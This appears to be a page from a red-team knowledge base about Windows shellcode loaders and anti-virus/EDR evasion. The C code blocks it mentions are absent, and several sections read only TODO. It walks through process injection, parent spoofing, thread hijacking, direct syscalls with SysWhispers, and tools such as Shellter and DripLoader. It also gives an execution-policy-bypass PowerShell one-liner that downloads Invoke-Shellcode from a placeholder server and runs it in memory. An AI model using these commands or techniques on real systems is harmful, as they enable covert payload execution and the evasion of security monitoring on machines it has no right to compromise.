Shellcode and PE loader
Compilation
The basic C / C++ code snippets in this note can be compiled on Linux using the cross-compiler mingw or on Windows (recommended) using Developer Command Prompt from Visual Studio:
# mingw.
# 32 bits
i686-w64-mingw32-gcc -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
i686-w64-mingw32-g++ -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
# 64 bits
x86_64-w64-mingw32-gcc -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
x86_64-w64-mingw32-g++ -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
# Visual Studio build tools.
cl <C_PROGRAM | CPP_PROGRAM>Compiling on Windows is recommended for anti-virus evasion, as some products may categorize mingw compilation artefacts.
Basic shellcode loaders
[Windows] PowerShell Invoke-Shellcode
The PowerShell PowerSploit's Invoke-Shellcode cmdlet can be leveraged to execute directly in memory the shellcode through IEX DownloadString.
Depending on the system architecture, Invoke-Shellcode will either inject and run the shellcode specified in the $Shellcode32 or $Shellcode64 variables.
# A web server hosting the modified Invoke-Shellcode script and a metasploit handler with the according payload type must be up and running
powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-Shellcode.ps1'); Invoke-Shellcode -Force;As a compiled binary.
The following C code can be used to compile a binary that will execute the PowerShell's Invoke-Shellcode cmdlet:
[Windows] PowerShell - Unicorn
Magic Unicorn is a tool for using a PowerShell downgrade attack and inject shellcode (custom, Cobalt Strike beacon or Metasploit meterpreter) straight into memory.
Ensure Metasploit is installed if using Metasploit methods. If using meterpreter payloads the script will generate two files :
PowerShell_attack.txtunicorn.rc
The text file contains all of the code needed in order to inject the PowerShell attack into memory and the rc file can be used to start a Metasploit reverse handler.
The commands are as follow:
[Windows] Basic C loader - CreateThread (intra-process)
The shellcode loaders below (especially the remote one) are likely to be flag by all Endpoint detection and response and behavioural anti-virus products.
The C code below may be used as a template for running a shellcode in the current process:
[Windows] Basic C loader - CreateRemoteThread (inter-process)
The C code below may be used as a template for running a shellcode in a remote process:
[Windows] Basic C loader - Create process with parent spoofing
The following C code can be used to spawn a process as the child of another specified process (allowing for cross sessions or user security context usurpation):
Shellcode loader for static analysis evasion
[Windows] Shellter
Shellter is a dynamic shellcode injection tool that can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only for the free version). The shellcode can be self made or generated within Shellter through a framework, such as Metasploit.
The following built-in shellcodes are currently supported:
The procedure to create a binary is as follow:
Shellcode loader for behavioural analysis evasion
Direct syscalls with SysWhispers
SysWhispers is tool that can be used to generate an header and ASM file to make directly syscalls in supporting programming languages. SysWhispers supports Windows XP to Windows 10 21H1 (build 19043) (as of the present note redaction date) using syscalls numbers and prototypes referenced in the project repository.
The syscall version to use is determined at runtime directly in the assembly implemented the syscall by retrieving the OSMajorVersion and OSMinorVersion fields of the Process Environment Block (PEB) (through the Thread Information Block (TIB)).
To add the produced to a Visual Studio (2019) project:
In the
Solution Explorer-> Header File -> Add -> New Item... -> Header File (.h) -> Add -> Copy the content the header file produced bySysWhispers.In the
Solution Explorer-> Source File -> Add -> New Item... -> Utility -> Text File (.txt) -> Rename the file extension in .asm -> Copy the content theASMfile produced bySysWhispers.In the
Solution Explorer, right click on the project -> Build Dependencies -> Build Customizations... -> Enable "masm(.targets, .props)".Right click on the added
ASMfile -> Properties -> Item Type: Microsoft Macro Assembler.
CreateRemoteThread execution (inter-process)
The following C code below can then be used to inject and run a shellcode in a remote process directly using syscalls:
Thread hijacking (inter-process)
The following code snippet can be used to execute the specified shellcode by hijacking a thread in the remote process.
Following the writing of the shellcode in the target process memory:
3. Finally, the thread execution is resumed (NtResumeThread).
EarlyBird injection - new process
DripLoader
DripLoader is a shellcode loader that attempt to evade security products by:
Making direct
NtAllocateVirtualMemoryandNtCreateThreadExsyscalls (using an header and ASM files containing the syscalls' assembly instructions).blending in legitimate memory allocations by only allocating
PageSizesized(4kB by default) pages to place the shellcode in memory.adding a delay between memory allocations to avoid multi-event correlation.
DripLoader-EmbedAES can be used to pack an AES-encrypted and base64-encoded shellcode as resource file directly in a DripLoader binary. If the AES key specified is partial, the missing bytes will be bruteforced. This artificially added complexity may help evade security product's emulation / sandboxes based detections.
Donut
TODO
ScareCrow
TODO
PEzor
TODO
Phantom-Evasion (outdated)
Phantom-Evasion 3.0 is a framework written in Python that can generate both x86 or x64 executables and DLL / Reflective DLL.
Phantom-Evasion 3.0 supports a number of Anti-virus evasion techniques, execution and injection methods (thread, asynchronous procedure call, thread execution hijack, etc.) with various memory allocation techniques, as well as shellcode encryption.
Additionally, out of scope of the present note, Phantom-Evasion 3.0 can be used to generate Linux shellcode, backdoored Android APK, and offers various Windows privileges escalation and persistence modules.
Loaded Shellcode in-memory protection
In memory shellcode's contents encryption and memory protection switch (RW / NoAccess <-> RX)
Cobalt Strike's sleepmask kit.
Refer to the [Cobalt Strike] Beacons generation note for more information on possibilities natively offered by Cobalt Strike for in-memory obfuscation of beacons shellcode.
ShellcodeFluctuation.
TODO
ThreadStackSpoofer
TODO
References
https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
Last updated